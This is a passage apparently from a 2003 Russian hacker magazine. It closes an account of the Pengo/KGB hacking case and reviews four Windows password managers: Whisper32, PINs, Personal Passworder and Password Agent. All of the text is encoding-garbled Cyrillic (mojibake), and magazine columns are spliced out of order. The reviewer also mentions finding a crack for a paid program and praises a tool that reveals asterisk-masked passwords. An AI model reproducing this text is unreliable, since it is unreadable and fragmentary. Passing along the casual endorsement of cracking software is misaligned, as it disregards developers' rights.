äëÿ õàêåðñòâà. Îí áûë íàñòîëüêî óâëå÷åí ñâîèì<br />
äåëîì, ÷òî íå âèäåë ðàçíèöû â òîì, êòî âîñïîëüçóåòñÿ<br />
ðåçóëüòàòàìè åãî èññëåäîâàíèé è ñ êàêîé öåëüþ.<br />
Äëÿ Ïåíãî äîãîâîð ñ ÊÃÁ íè÷åãî íå èçìåíèë. Îí ïî<br />
ïðåæíåìó çàíèìàëñÿ õàêåðñòâîì, ïðîñòî íåêîòîðûå ñâîè<br />
íàõîäêè îí òåïåðü îòäàâàë Ïèòó. Â 1986 ã. Ãàíñ ïîñòóïèë<br />
â óíèâåðñèòåò íà ôàêóëüòåò êîìïüþòåðíûõ íàóê, ïîïóòíî<br />
ïîäðàáàòûâàÿ ðàçðàáîòêîé ðàçíûõ óòèëèò. Èíîãäà Ïèòåð<br />
Êàðë íàãðàæäàë åãî íåñêîëüêèìè ñîòíÿìè áàêñîâ - ïîëîâèíîé<br />
ïîëó÷åííûõ îò Ñåðãåÿ äåíåã. Íî íóæíûå ÊÃÁ âåùè<br />
â îñíîâíîì ïðèõîäèëè îò Ìàðêóñà Õåññà, äíåì ðàáîòàâøåãî<br />
ïðîãðàììåðîì â ôèðìå è çàíèìàâøåãîñÿ âçëîìîì<br />
êîìïüþòåðíûõ ñèñòåì ïî íî÷àì.<br />
Ñîòðóäíè÷åñòâî ñ ÊÃÁ ïðîäîëæàëîñü îêîëî äâóõ ëåò, ïîñòåïåííî<br />
ñõîäÿ íà íåò. Õàãáàðä, è ðàíüøå ÷àñòî ïðèíèìàâøèé<br />
íàðêîòèêè, óæå íå ìîã áåç íèõ îáõîäèòüñÿ è áîëüøóþ<br />
÷àñòü âðåìåíè ïðåáûâàë ïîä êàéôîì. Ïèòåð âñå åùå<br />
íå îñòàâëÿë íàäåæä îáîãàòèòüñÿ çà ñ÷åò ðóññêèõ è ïûòàëñÿ<br />
ïîäáèòü òîâàðèùåé äîñòàòü åùå ÷òî-íèáóäü ïîëåçíîå.<br />
Íî Äîá è Ìàðêóñ èìåëè õîðîøóþ ðàáîòó è íå õîòåëè<br />
ñèëüíî ðèñêîâàòü, à Ïåíãî îòêðûë ñâîé ìàëåíüêèé áèçíåñ<br />
- ôèðìó, ïðåäîñòàâëÿþùóþ óñëóãè ïðîãðàììèðîâàíèÿ.<br />
Âñå ìîãëî òàê òèõî-ìèðíî è çàêîí÷èòüñÿ. Åñëè áû<br />
íåêîòîðûå ó÷àñòíèêè ãðóïïû íå ðàñêîëîëèñü.<br />
<br />
<br />
Ïåðâûì ñëîìàëñÿ Õàãáàðä. Îáóðåâàåìûé ìàíèåé ïðåñëåäîâàíèÿ,<br />
îí ðàññêàçàë îáî âñåì àäâîêàòó, à òîò ïîñîâåòîâàë<br />
ïîéòè ñ ïîâèííîé ê âëàñòÿì. Ìåíüøå ÷åì<br />
÷åðåç íåäåëþ Ïåíãî, äàâàÿ èíòåðâüþ æóðíàëèñòàì íà<br />
òåìó ñâîèõ õàêåðñêèõ ïîõîæäåíèé, ïðîãîâîðèëñÿ î<br />
ñäåëêå ñ ÊÃÁ. Æóðíàëèñòû ñâåëè åãî ñ õîðîøèì àäâîêàòîì,<br />
è òîò òîæå ïîñîâåòîâàë ïðèçíàòüñÿ âî âñåì, òàê<br />
êàê, ïî çàêîíó, â ýòîì ñëó÷àå åãî ìîãëà æäàòü àìíèñòèÿ.<br />
 îòëè÷èå îò îñòàëüíûõ ÷ëåíîâ ãðóïïû, êîòîðûì<br />
ãðîçèë ñóðîâûé ïðèãîâîð çà øïèîíàæ. Õàãáàðä è Ïåíãî<br />
ïðàêòè÷åñêè â îäèí ìîìåíò âûëîæèëè âñå, êàê åñòü,<br />
êàæäûé íà ñâîé ìàíåð. Êîãäà îá èíöèäåíòå óçíàëà<br />
ïðåññà, ýòîò ñëó÷àé ñòàë ñåíñàöèåé íîìåð îäèí ïî<br />
âñåé Ãåðìàíèè è äàæå çà åå ïðåäåëàìè. Âñå ãàçåòû ïåñòðåëè<br />
çàãîëîâêàìè òèïà "Õàêåðû - øïèîíû ÊÃÁ", êîìïüþòåðíûé<br />
àíäåãðàóíä áûë âîçìóùåí ñòîëü ÷óäîâèùíûì<br />
íàðóøåíèåì õàêåðñêîé ýòèêè.<br />
 ÿíâàðå 1990 ã. ñîñòîÿëñÿ ñóä, íà êîòîðîì Ïåíãî âûñòóïèë<br />
ñâèäåòåëåì. Ìåñòî âòîðîãî ñâèäåòåëÿ - Õàãáàðäà -<br />
ïóñòîâàëî. Íåçàäîëãî äî ýòîãî åãî íàøëè ñîææåííûì â<br />
ëåñó, ðÿäîì ñî ñâîåé ìàøèíîé. Íèêòî òàê è íå âûÿñíèë<br />
ïðè÷èíó åãî ãèáåëè. Íèêòî íå çíàë - áûë ýòî ñóèöèä èëè<br />
óáèéñòâî. Íåñìîòðÿ íà ïðî÷íûå äîêàçàòåëüñòâà âèíû<br />
âñåé êîìàíäû, âûÿñíèëîñü, ÷òî ïðîäàííàÿ Ñîâåòàì èíôîðìàöèÿ<br />
áûëà íå òàêîé óæ ñåêðåòíîé, à ÷àñòü åå âîîáùå<br />
íàõîäèëîñü â ñâîáîäíîì äîñòóïå. Ïî êðàéíåé ìåðå, îíà<br />
íå ñòîèëà òåõ 45 òûñÿ÷ äîëëàðîâ, êîòîðûå Ñåðãåé â îáùåé<br />
ñëîæíîñòè ïåðåäàë Ïèòåðó Êàðëó. Ó÷èòûâàÿ ýòî, à<br />
òàêæå òîò ôàêò, ÷òî âñå, îñîáåííî Õàãáàðä, óñïåëè ïîñòðàäàòü<br />
çà âðåìÿ ñëåäñòâèÿ, ñóäüÿ âûíåñ ñêðîìíûé ïðèãîâîð.<br />
Ïèòåð Êàðë ïîëó÷èë 2 ãîäà óñëîâíî è $1500 øòðàôà,<br />
Ìàðêóñ Õåññ - 20 ìåñÿöåâ óñëîâíî è $5000 øòðàôà, Äîáá<br />
- 14 óñëîâíûõ ìåñÿöåâ è $2500 øòðàôà. Ãàíñà çà äîáðîâîëüíîå<br />
ïðèçíàíèå è ñîäåéñòâèå âëàñòÿì àìíèñòèðîâàëè.<br />
Ïîñëå ñóäà Ïåíãî çàâÿçàë ñ õàêåðñòâîì. Âìåñòå ñ äðóçüÿìè<br />
îí îñíîâàë íîâóþ ñîôòâåðíóþ ôèðìó (èç ñòàðîé<br />
åãî âûïåðëè) è íåêîòîðîå âðåìÿ ðàáîòàë ñèñòåìíûì<br />
ïðîãðàììèñòîì, ñîâìåùàÿ ýòó äåÿòåëüíîñòü ñ äîëæíîñòüþ<br />
àäìèíèñòðàòîðà.<br />
 1990 ã., â ñâÿçè ñ ïåðåìåíàìè â Áåðëèíå, Ãàíñ ïåðååõàë<br />
â Âåíó, ãäå æåíèëñÿ. Íà ðîäèíó îí âåðíóëñÿ â<br />
1992 ãîäó è ïðîäîëæèë ðàáîòàòü â êîìïüþòåðíîé ñôåðå,<br />
ðàçðàáàòûâàÿ ðàçëè÷íîå ÏÎ. Âñå ýòî âðåìÿ îí ñ<br />
èíòåðåñîì íàáëþäàë çà ðàçâèòèåì õàêåðñêîé ñöåíû è<br />
ïðèíèìàë ó÷àñòèå âî ìíîãèõ security êîíôåðåíöèÿõ,<br />
âêëþ÷àÿ CCC. Ñåé÷àñ áûâøèé õàêåð - àêòèâíûé ÷ëåí<br />
îðãàíèçàöèè "Automaten E.V." (http://www.automatenbar.de),<br />
ðàáîòàåò íàä ñîáñòâåííûì ïðîåêòîì, ñâÿçàííûì<br />
ñ èçó÷åíèåì âëèÿíèÿ êîìïüþòåðíîãî ñëåæåíèÿ íà<br />
íàøó æèçíü, è âîñïèòûâàåò äâîèõ ñûíîâåé. Î ñâîåì<br />
æå õàêåðñêîì ïðîøëîì Ãàíñ âñïîìèíàåò<br />
ðåäêî, íåîõîòíî, è ýòè âîñïîìèíàíèÿ íèêîãäà<br />
íå îáõîäÿòñÿ áåç ãðóñòíîé óëûáêè.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8
PC_Zone<br />
ÓÑÒÀÍÎÂÈ<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÓÑÒÀÍÎÂÈ ÂÈÐÒÓÀËÜÍÛÉ ÑÅÉÔ<br />
Àíäðåé<br />
ÑÀÌ ÑÅÁÅ<br />
Êàðîëèê<br />
ÈÌÈÒÀÒÎÐ<br />
(andrusha@sl.ru)<br />
Âçëîìùèêîâ ÷àùå âñåãî èíòåðåñóþò<br />
àêêàóíòû îò äèàëàïîâ, áàííåðíûõ<br />
ñèñòåì, àñåê ñ êðàñèâûìè íîìåðàìè,<br />
ýëåêòðîííûõ ïëàòåæíûõ ñèñòåì (íàïðèìåð,<br />
WebMoney), õîñòèíãîâ, øåëëîâ<br />
è ò.ä. ×òîáû çàùèòèòü äàííûå îò<br />
íåñàíêöèîíèðîâàííîãî äîñòóïà, ïðèäóìûâàþòñÿ<br />
õèòðîóìíûå ïàðîëè, êîòîðûå<br />
íå ïî çóáàì âçëîìùèêàì, íî<br />
ñî âðåìåíåì îíè óñïåøíî çàáûâàþòñÿ<br />
:). Äàæå åñëè çàïèñàòü èõ íà êëî÷êå<br />
òóàëåòíîé áóìàãè íà ÷åðíûé äåíü,<br />
íåò ãàðàíòèè, ÷òî êòî-íèáóäü âïîïûõàõ<br />
ñëó÷àéíî èì íå âîñïîëüçóåòñÿ,<br />
òîãäà âîññòàíîâèòü áóäåò ñëîæíîâàòî.<br />
Äðóãàÿ êðàéíîñòü - ïðèäóìûâàþòñÿ<br />
î÷åíü ïðîñòûå ïàðîëè, êîòîðûå<br />
ëåãêî çàïîìíèòü. Íî ýòî òàêæå ìîæåò<br />
êîí÷èòüñÿ ïëà÷åâíî - êàêîé-íèáóäü<br />
ìåëêèé íåäîóìîê ñêà÷àåò èç èíåòà<br />
ïðîñòåíüêèé ïåðåáîðùèê è âñêðîåò<br />
òâîè ïàðîëè, êàê êîíñåðâíûå áàíêè.<br />
Ïîñòàâèòü íà âñå îäèíàêîâûé, íî ìåãàñëîæíûé<br />
ïàðîëü Ýòî âûõîä! Íî<br />
åñëè òàêîé ïàðîëü çàñâåòèòñÿ, òî ÷åëîâåê<br />
ïîòåðÿåò ñðàçó âñå!<br />
ÂÈÐÒÓÀËÜÍÛÉ<br />
ÑÅÉÔ<br />
ÏÐÎÃÐÀÌÌÛ ÄËß ÕÐÀÍÅÍÈß ÏÀÐÎËÅÉ<br />
<br />
Òàêèì îáðàçîì, ïðîáëåìà çàêëþ÷àåòñÿ â òîì, ÷òîáû, èñïîëüçóÿ<br />
ñëîæíûå ïàðîëè, îáåñïå÷èòü èõ çàùèùåííîå õðàíåíèå<br />
è áûñòðûé äîñòóï ê íèì â íóæíûé ìîìåíò. Âñå ýòî<br />
óìåþò òàê íàçûâàåìûå ìåíåäæåðû ïàðîëåé - ïðîãðàììû,<br />
ïðåäíàçíà÷åííûå äëÿ õðàíåíèÿ äàííûõ â çàøèôðîâàííîì<br />
âèäå. Ñëîæíûå àëãîðèòìû øèôðîâàíèÿ, èñïîëüçóåìûå â<br />
ìåíåäæåðàõ ïàðîëåé, äåëàþò èõ íåïðèñòóïíîé Áàñòèëèåé,<br />
è âñå ïîïûòêè âçëîìà îêàæóòñÿ ïóñòîé òðàòîé âðåìåíè.<br />
Òåáå æå äëÿ ðàáîòû ïîíàäîáèòñÿ çàïîìíèòü âñåãî<br />
îäèí ïàðîëü - äëÿ äîñòóïà ê ñàìîé ïðîãðàììå. Íî ýòî âñå<br />
òàê, îáùèå ñëîâà. Äàâàé ðàññìîòðèì ëó÷øèõ ïðåäñòàâèòåëåé<br />
ýòîé ïîëåçíîé ðàçíîâèäíîñòè ïðîã ïîáëèæå...<br />
Whisper32 v 1.14<br />
Ýòà êðîøêà ðàñïðîñòðàíÿåòñÿ çà ùåäðîå ñïàñèáî. Âçàìåí<br />
àâòîð ñëåçíî ïðîñèò íå ïîäïèñûâàòü åãî òâîðåíèå ñâîèì<br />
èìåíåì, íå ïîäñìàòðèâàòü (÷èòàé äèçàññåìáëèðîâàòü)<br />
èñõîäíûé êîä è óæ òåì áîëåå íå èñïîëüçîâàòü èñõîäíèêè<br />
â ñâîèõ êîðûñòíûõ öåëÿõ :). Ïîêà èçó÷àë ïàãó ïðîãè, îáíàðóæèë<br />
íåîæèäàííûé ñþðïðèç: åå àâòîð ðàáîòàåò â<br />
Microsoft. Êîëè÷åñòâî ìîíèòîðîâ (íà êâàäðàòíûé ìåòð) íà<br />
åãî ðàáî÷åì ìåñòå âïå÷àòëÿåò:<br />
www.ivory.org/images/office4.jpg.<br />
ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />
Äëÿ óäîáñòâà âñå ïàðîëè õðàíÿòñÿ â âèäå îòäåëüíûõ çàïèñåé.<br />
Êàæäàÿ ñîñòîèò èç ÷åòûðåõ ïîëåé: íàçâàíèå àêêàóíòà,<br />
ëîãèí, ïàðîëü è êîììåíòàðèè. Ýòîãî âïîëíå äîñòàòî÷íî, à<br />
ðàçìåð êîììåíòàðèåâ íå îãðàíè÷åí, òàê ÷òî ìîæåøü â<br />
êðàñêàõ ðàñïèñàòü, ÷åé ýòî ïàðîëü, êàê è ãäå áûë ñòûðåí :).<br />
Ôóíêöèîíàë íà óðîâíå. Ïîääåðæêà òðåÿ (Tray) ïîçâîëÿåò<br />
äåðæàòü õðàíèëèùå âñåãäà ïîä ðóêîé. Áëàãîäàðÿ çàáîòëèâîìó<br />
àâòîðó, äëÿ âñåõ ñòðàòåãè÷åñêè âàæíûõ äåéñòâèé<br />
ïðåäóñìîòðåíû êîìáèíàöèè ãîðÿ÷èõ êëàâèø, êîòîðûå<br />
ñâåäóò ëèøíèå òåëîäâèæåíèÿ ê ìèíèìóìó. Âñòðîåííûé<br />
ãåíåðàòîð ïàðîëåé èìååò ìíîæåñòâî íàñòðîåê è ñî÷èíÿåò<br />
ñëó÷àéíûå ïàðîëè äëèíîé äî 48(!) ñèìâîëîâ. Äàííûå ïðè<br />
íåîáõîäèìîñòè ïåðåíîñÿòñÿ ÷åðåç áóôåð îáìåíà ñ ïîìîùüþ<br />
êîìáèíàöèé Ctrl+C è Ctrl+U äëÿ ëîãèíà è ïàðîëÿ<br />
ñîîòâåòñòâåííî. Ïðè âûõîäå èç ïðîãè ñîäåðæèìîå áóôåðà<br />
òðåòñÿ àâòîìàòîì, ÷òîáû âðàãàì íå äîñòàëîñü :).<br />
Ïðè õðàíåíèè ïàðîëåé äëÿ ââîäà â èíåòå (â ôîðóìàõ, ÷àòàõ,<br />
ìûëüíèêàõ è ò.ï.) öåëåñîîáðàçíî óêàçàòü óðë â êîììåíòàðèÿõ.<br />
Òîãäà ïðè íàæàòèè Ctrl+H (Edit -> Open URL) ïðîãà àâòîìàòîì<br />
âûöåïèò àäðåñ èç êîììåíòàðèåâ è ïîäãðóçèò áðàóçåð<br />
ñ ýòèì àäðåñîì. Óäîáíî è áûñòðî. Âñòàâëÿòü ïàðîëü,<br />
ïðàâäà, ïðèäåòñÿ ðó÷êàìè. Åùå îäíà ïîëåçíàÿ ôè÷à - ïàðîëè<br />
èìåþò ñâîé ñðîê äåéñòâèÿ (ïî óìîë÷àíèþ íå îãðàíè÷åí),<br />
ïî èñòå÷åíèè êîòîðîãî èêîíêè ðÿäîì ñ çàïèñÿìè ìåíÿþò<br />
ñâîé öâåò. Åñëè ïàðîëè ðåãóëÿðíî ìåíÿòü, òî âîçìîæíîñòü<br />
âçëîìà áóäåò ïðàêòè÷åñêè èñêëþ÷åíà.<br />
Win 9x/Me/NT/2k/XP<br />
Freeware<br />
Âåñ: ~432 Êá<br />
http://www.ivory.org<br />
ÂÅÐÄÈÊÒ<br />
Íåáîëüøàÿ, íî ôóíêöèîíàëüíàÿ øòó÷êà áåç ëèøíèõ íàâîðîòîâ.<br />
Åñëè òåáå íóæåí íåîáõîäèìûé ìèíèìóì, òî ýòî<br />
òâîé âûáîð. Áûë áû ïîèñê ïî çàïèñÿì è àâòîçàïîëíåíèå<br />
ôîðì, öåíû áû åé íå áûëî.<br />
38 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
PINs v 4.20<br />
Win 9x/Me/NT/2k/XP<br />
Freeware<br />
Âåñ: ~640 Êá<br />
http://www.mirwoj.opus.chelm.pl<br />
Åùå îäíà áåñïëàòíàÿ ìàëþòêà. Ðàñïðîñòðàíÿåòñÿ ñ èñõîäíûì<br />
êîäîì (Open Source). Ýòî äàåò ïîëíûå ãàðàíòèè<br />
òîãî, ÷òî âíóòðè íåò ÷åðíûõ õîäîâ è óíèâåðñàëüíûõ êëþ-<br />
÷åé, ñ ïîìîùüþ êîòîðûõ òåáÿ ìîãóò â îäèí ïðåêðàñíûé<br />
äåíü êðàñèâî ïîèìåòü. Ïðîãðàììà ïîääåðæèâàåò 22(!)<br />
ÿçûêà, âêëþ÷àÿ ðóññêèé. Êîãäà ÷èòàåøü ìåíþøêè íà ðîäíîì<br />
ÿçûêå, äóøà ïîåò ;).<br />
ÂÅÐÄÈÊÒ<br />
Êà÷àòü â äâà ðàçà äîëüøå, à óäîâîëüñòâèé ìàññà. Ðàçáèâêà<br />
íà ðàçäåëû ïîçâîëÿåò õðàíèòü äàííûå ïî òåìàòèêå, ÷òî<br />
íåîáõîäèìî ïðè áîëüøîì êîëè÷åñòâå ïàðîëåé. Îòêðûòîñòü<br />
êîäà, ðóññêèé èíòåðôåéñ è äîñòàòî÷íî ãèáêèå íàñòðîéêè<br />
- âåñêèå ïðè÷èíû, ÷òîáû ïîñòàâèòü ñåáå ýòó ïðîãó.<br />
 íàãðóçêó ïîëó÷èøü óíèâåðñàëüíûé ãåíåðàòîð ïàðîëåé è<br />
ìåãàòåðêó äàííûõ :). Âñå ñîâåðøåííî áåñïëàòíî!<br />
Personal Passworder v 3.4<br />
Win 9x/Me/NT/2k/XP<br />
Shareware<br />
Âåñ: ~1,11 Ìá<br />
http://www.dvasoft.com<br />
Ñ ýòîé ïëàòíîé ñîôòèíîé (êñòàòè, äåëàëè íàøè ïðîãðàììèñòû)<br />
ïðèøëîñü ïîïîòåòü â ïîèñêàõ êðÿêà, íî ñòàðàíèÿ<br />
íå ïðîøëè äàðîì :). Îíà ÿâëÿåòñÿ ìíîãîïîëüçîâàòåëüñêîé<br />
ïðîãðàììîé - êàæäîìó âûäåëÿåòñÿ îòäåëüíûé àêêàóíò.<br />
Âûáîð àêêàóíòà è àêòèâèçàöèÿ ïàðîëÿ äåëàþòñÿ ÷åðåç äèàëîãîâîå<br />
îêíî ïåðåä çàãðóçêîé ïðîãðàììû. Çàãðóæàåìñÿ.<br />
Ìåíþøåê íå òàê ìíîãî, çàòî è ëèøíèõ íåò.<br />
ñåáÿ. Äðóãàÿ ïîëåçíàÿ ôè÷à - ïðîñìîòð ââåäåííûõ ïàðîëåé,<br />
îòîáðàæàåìûõ çâåçäî÷êàìè. Çàïóñòè Èíñòðóìåíò -><br />
Îòêðûòèå ïàðîëåé. Íà ýêðàíå ïîÿâèòñÿ íåáîëüøàÿ ïàíåëüêà.<br />
Òåïåðü íàâåäè êóðñîð íà ëþáîé çàìàñêèðîâàííûé<br />
çâåçäî÷êàìè ïàðîëü è óâèäèøü, êàêîé îí íà ñàìîì äåëå<br />
:). Øòóêà î÷åíü óäîáíàÿ. Çàáûë ïàðîëü, ê ïðèìåðó, ê ñâîåé<br />
ïàãå â CuteFTP (òàì îíè îòîáðàæàþòñÿ çâåçäàìè), çàïóñòèë<br />
ñìîòðåëêó - è íåò ïðîáëåì.<br />
 ãåíåðàòîðå êó÷à íàñòðîåê, ïðè÷åì äëèíà ïàðîëÿ íå îãðàíè÷åíà.<br />
Ïðîãðàììà óìååò ýêñïîðòèðîâàòü äàííûå â ÷åòûðå<br />
ôîðìàòà: Excel, HTML, XML è òåêñò (Èíñòðóìåíòû -><br />
Ýêñïîðò). Ýêñïîðòèðóþòñÿ âñå çàïèñè èëè âûáîðî÷íî.<br />
ÂÅÐÄÈÊÒ<br />
Õîðîøèé ìíîãîïîëüçîâàòåëüñêèé ïàðîëåñáîðíèê. Ïðèâëåêàòåëüíûé<br />
âíåøíå è ïîëíîñòüþ íà ðóññêîì ÿçûêå, âêëþ÷àÿ<br />
ïîìîùü è äîêóìåíòàöèþ. Íàñòîÿùàÿ íàõîäêà è àëüòåðíàòèâà<br />
çàâèñàíèþ â òðåå - ìèíèïàíåëü. Êðîìå òîãî, óìååò<br />
ïîäñìàòðèâàòü ïàðîëè, çàìàñêèðîâàííûå çâåçäî÷êàìè.<br />
Password Agent v 2.2.1<br />
Win 9x/Me/NT/2k/XP<br />
Shareware<br />
Âåñ: ~1,21 Ìá<br />
http://www.moonsoftware.com<br />
ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />
Íàñòðîåê ïî ñðàâíåíèþ ñ Whisper32 îùóòèìî áîëüøå. Ëåãêî<br />
ïîäñòðàèâàåìûé èíòåðôåéñ: óñòàíàâëèâàþòñÿ øðèôòû,<br />
öâåò ôîíà è ïàðàìåòðû ðàçëèíîâêè. Âðîäå ìåëî÷ü, íî ó<br />
âñåõ ñâîè âêóñû. Çàïèñè ðàñïîëàãàþòñÿ íå ñïëîøíÿêîì, à<br />
äåëÿòñÿ íà ðàçäåëû, ÷òî ñóùåñòâåííî îáëåã÷àåò õðàíåíèå<br />
è ïîèñê. Êàæäàÿ çàïèñü ñîäåðæèò ïî ñåìü(!) ïîëåé: íàçâàíèå,<br />
èìÿ, ïàðîëü, óðë (ëèáî êðàòêîå îïèñàíèå), êîììåíòàðèè,<br />
à òàêæå äàòó íà÷àëà è êîíöà äåéñòâèÿ ïàðîëÿ. Ïðè<br />
ýòîì çàãîëîâêè ïîëåé ìåíÿþòñÿ íà ëþáûå, õîòü ìàòîì :).<br />
Çàïîëíÿòü ôîðìû äëÿ àâòîðèçàöèè ïðîãà, ê ñîæàëåíèþ, íå<br />
óìååò, íî ïî êîìàíäå ñêèäûâàåò èõ â áóôåð. Ñðåäè äîïîëíèòåëüíûõ<br />
âîçìîæíîñòåé ïðèñóòñòâóþò ýêñïîðò ïàðîëåé,<br />
èìïîðò äàííûõ èç òåêñòîâîãî ôàéëà, îçâó÷èâàíèå âàæíûõ<br />
ìàíèïóëÿöèé, ðåçåðâíîå ñîõðàíåíèå áàçû íà ñëó÷àé âîéíû<br />
(èëè çàáàñòîâêè ýëåêòðèêîâ) è î÷èñòêà áóôåðà (ïðè âûõîäå<br />
èëè ñâîðà÷èâàíèè â òðåé). Áàçà ñ ïàðîëÿìè øèôðóåòñÿ àëãîðèòìîì<br />
Blowfish 448-áèò, òàê ÷òî âñÿêèå íåãîäÿè áóäóò<br />
âçëàìûâàòü áàçó ãîäàìè.<br />
 êîìïëåêòå èäåò ãåíåðàòîð ïàðîëåé. Ïðè ãåíåðàöèè<br />
ìîæíî èñïîëüçîâàòü ãîòîâûé øàáëîí èëè äîâåðèòüñÿ ìåòîäó<br />
ñëó÷àéíîãî òûêà. Ìàêñèìàëüíàÿ äëèíà ïàðîëÿ - äî<br />
56 ñèìâîëîâ. Âûñòàâëÿåøü êîëè÷åñòâî ãåíåðèðóåìûõ ïàðîëåé<br />
è âûáèðàåøü íàèáîëåå êðàñèâûé èç ñïèñêà. È ñîâñåì<br />
íîâàÿ ôè÷à - êðóòàÿ òåðêà :). Ïîçâîëÿåò ñòèðàòü äàííûå<br />
(îòäåëüíûå ôàéëû èëè öåëûå ïàïêè), êàê áóäòî èõ<br />
âåòðîì ñäóëî. Ïîñëå óáîðêè óäàëåííûå äàííûå âîññòàíîâèòü<br />
íåðåàëüíî. Íà âûáîð íåñêîëüêî âåíèêîâ: ïñåâäîñëó-<br />
÷àéíûé ïðîõîä (áûñòðûé, íî ñàìûé íåíàäåæíûé), DoD 3<br />
ïðîõîäà, DoD 7 ïðîõîäîâ, Gutmann 35 ïðîõîäîâ (ìåäëåííûé,<br />
íî ñàìûé íàäåæíûé) è ñîáñòâåííûé ìåòîä, êîòîðûé<br />
çàäàåòñÿ ôîðìóëîé. Ïîñòó÷àò â äâåðü - èñïûòàåøü :).<br />
ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />
Ïîìèìî äåëåíèÿ íà êàòåãîðèè â ïðîãå åñòü äîïîëíèòåëüíàÿ<br />
ðàçáèâêà íà ãðóïïû. Ïî óìîë÷àíèþ èõ äâå - ïàðîëè<br />
äëÿ ïðîãðàìì è ïàðîëè äëÿ âåáà. Äëÿ áûñòðîãî ïåðåêëþ-<br />
÷åíèÿ ìåæäó ðàçíûìè ãðóïïàìè îíè ñäåëàíû â âèäå çàêëàäîê.<br />
×òîáû ñîçäàòü íîâûå ãðóïïû èëè îòðåäàêòèðîâàòü<br />
ñóùåñòâóþùèå, çàãëÿíè â Èíñòðóìåíòû -> Ãðóïïû. Íàñòîÿùèé<br />
êîíñòðóêòîð LEGO äëÿ âçðîñëûõ. ×òî êàñàåòñÿ çàïèñåé,<br />
îíè ñîäåðæàò ïî ïÿòü ïîëåé: çàãîëîâîê, ëîãèí, ïàðîëü,<br />
óðë è êîììåíòàðèè. Ê ñîæàëåíèþ, ýòà ïðîãà òîæå<br />
íå óìååò çàïîëíÿòü ôîðìû. Äàííûå, àíàëîãè÷íî PINs,<br />
øèôðóþòñÿ àëãîðèòìîì Blowfish 448-áèò.<br />
Ïðåêðàñíàÿ çàäóìêà - ìèíèïàíåëüêà (Èíñòðóìåíòû -><br />
Ïàíåëü). Îíà îòæèðàåò ìèíèìóì ìåñòà íà ýêðàíå, è íà<br />
íåé ðàçìåùàþòñÿ îñíîâíûå ðû÷àãè óïðàâëåíèÿ ñîäåðæèìûì.<br />
Åäèíñòâåííûé ìèíóñ - åå íåëüçÿ íàñòðàèâàòü ïîä<br />
À âîò è âòîðîé ïëàòíûé ìîíñòð. Íà âèä áîëåå íàâîðî÷åííûé<br />
- íàïîìèíàåò ïðîâîäíèê â ñòåêëÿííûõ. Ïðè óñòàíîâêå<br />
ìàñòåð-ïàðîëÿ íà áàçó ïðåäëàãàåòñÿ äîïîëíèòåëüíî ââåñòè<br />
ïîäñêàçêó (hint), êîòîðóþ ìîæíî â äàëüíåéøåì ïîäñìîòðåòü,<br />
åñëè ñëó÷àéíî çàáóäåøü ìàñòåð-ïàðîëü ;). Äðóãèìè<br />
ñëîâàìè, íàâîäÿùèé êîììåíòàðèé äëÿ ñêëåðîòèêîâ<br />
ïî ïîâîäó ïîñòàâëåííîãî ïàðîëÿ :).<br />
ÍÀÑÒÐÎÉÊÈ È ÂÎÇÌÎÆÍÎÑÒÈ<br />
Íàñòðîåê è âîçìîæíîñòåé áîëüøå, ÷åì â PINs. Âåòâëåíèå<br />
ïî êàòåãîðèÿì è ïîäêàòåãîðèÿì íèêàê íå îãðàíè÷åíî. Èñïîëüçóé<br />
ðàçíûå èêîíêè, ÷òîáû íå çàïóòàòüñÿ â ýòîì êóñòàðíèêå.<br />
 òâîåì ðàñïîðÿæåíèè èìåþòñÿ 9 öâåòîâûõ ñõåì<br />
è 10 ïðèêîëüíûõ êàðòèíîê. Â êîíöå êîíöîâ, þçàé áûñòðûé<br />
ïîèñê, åñëè ÷òî :). Çàïèñè ìîãóò áûòü äâóõ âèäîâ:<br />
Account è Note. Ïðèíöèïèàëüíîå ðàçëè÷èå çàêëþ÷àåòñÿ â<br />
òîì, ÷òî ó Note íåò ïîëåé ñ ëîãèíîì è ïàðîëåì.<br />
 Password Agent áîëüøå âíèìàíèÿ óäåëåíî çàùèòå<br />
îò ñëó÷àéíûõ ãëàç. Áóôåð î÷èùàåòñÿ êàê ïðè âûõîäå<br />
èç ïðîãè, òàê è ïî èñòå÷åíèè äâóõ ìèíóò (âûñ-<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 39
PC_Zone<br />
ÓÑÒÀÍÎÂÈ ÂÈÐÒÓÀËÜÍÛÉ ÑÅÉÔ<br />
Àíäðåé Êàðîëèê (andrusha@sl.ru)<br />
ÕÀÊÅÐ\¹51\Ìàé\2003<br />
ÌÀÑÒÅÐ ÏÀÐÎËÅÉ<br />
ÀËÜÒÅÐÍÀÒÈÂÍÎÅ ÕÐÀÍÈËÈÙÅ<br />
òàâëÿåòñÿ îïöèîíàëüíî â íàñòðîéêàõ). Áëîêèðîâêà îñóùåñòâëÿåòñÿ<br />
ïðè ñâîðà÷èâàíèè â òðåé, ÷åðåç ïÿòü ìèíóò ïðîñòîÿ<br />
èëè ïðè ñðàáàòûâàíèè ñêðèíñåéâåðà. Çàùèòà îò äóðàêîâ<br />
- Undo ;). Óìååò àâòîìàòè÷åñêè çàïîëíÿòü ôîðìû äëÿ<br />
àâòîðèçàöèè. Îòêðûâàåøü íóæíóþ ôîðìó è íàæèìàåøü<br />
Ctrl+A (ïðîãðàììà çàïîëíÿåò ïîëÿ ëîãèíà è ïàðîëÿ) èëè<br />
Ctrl+P (òîëüêî ïàðîëü).<br />
ÂÅÐÄÈÊÒ<br />
Åñëè ó òåáÿ õðàíèòñÿ áîëåå ñîòíè ïàðîëåé è êàêèå-òî çàìåòêè,<br />
òî Password Agent áóäåò íåçàìåíèì áëàãîäàðÿ<br />
óäîáíîé èåðàðõèè õðàíÿùèõñÿ ïàðîëåé. Ôóíêöèÿ àâòîçàïîëíåíèÿ<br />
ñýêîíîìèò ñèëû è íåðâû.<br />
<br />
Âñå ÷åòûðå ïðîãè áûëè îòîáðàíû ìíîé èç êó÷è ñóùåñòâóþùèõ<br />
